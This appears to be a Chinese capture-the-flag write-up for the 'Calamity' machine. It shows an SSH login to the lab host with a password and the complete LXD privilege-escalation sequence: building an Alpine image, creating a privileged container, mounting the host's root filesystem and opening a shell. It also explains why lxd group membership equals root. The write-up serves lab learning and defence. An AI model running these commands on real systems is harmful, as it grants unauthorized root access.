Calamity(lxd之linux容器错误权限的提权)

上一篇:Calamity(web rce)

Calamity(lxd之linux容器错误权限的提权)

参考资料:

1
2
ssh xalvas@10.10.10.27
18547936..*

得到一个用户权限的shell

lxd提权

https://reboare.github.io/lxd/lxd-escape.html


【kali运行】

1
2
3
4
5
6
7
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder;./build-alpine -a i686
#该步骤下载一个lxd容器模板

scp alpine-v3.11-i686-20200109_0853.tar.gz xalvas@10.10.10.27:/tmp/
18547936..*
#将容器模板复制到目标机

【目标shell运行】

1
2
3
4
5
6
7
8
9
lxc image import alpine-v3.11-i686-20200109_0853.tar.gz --alias=alpine

lxc init alpine alpsarecold -c security.privileged=true

lxc config device add alpsarecold somedisk disk source=/ path=/mnt/root recursive=true 

lxc exec alpsarecold --mode=interactive /bin/sh
运行后,即获得

提权原理

lxd是ubuntu容器管理软件,可以看作和docker一样。

lxd组和docker组一样,有不安全的地方。

本地容器的普通用户在任何情况下都不应该被允许访问lxd,因为这样十分容易被入侵。

首先,我将检查您的用户是否是该组的成员,因为如果您安装了该用户并且是sudoer,则很可能是您。 安装后,lxd会自动将每个用户添加到lxd组中。考虑到sudoer自动具有root访问权限,这可以认为是可以的,但它忘记了sudo具有适当的审核功能,并且确实需要密码来执行root所需的任何操作。 实际上,仅安装lxd等效于在sudoers文件中添加以下内容。

1
admin    ALL=NOPASSWD: ALL

如果某人获得了对管理员帐户的访问权限,那么他们将立即获得完全的root访问权限,而无需输入密码。 考虑一个ssh私钥逃逸到该用户下运行的野外服务或过时的服务,突然之间,一个仍然没有破解admin帐户密码的攻击者就具有完全的root访问权,这都是因为您安装了lxd。

我并不是在反对lxd组的存在,只是在不通知用户的情况下增加了攻击面。 发现此问题的原因在于用户没有意识到该组赋予其帐户的权力, 并且在删除了sudo特权的同时,没有进行lxd访问。

lcd运行用户使用全部权限,无需使用sudo 而lxd必需要root权限来执行程序。所以可以通过lcd来提权。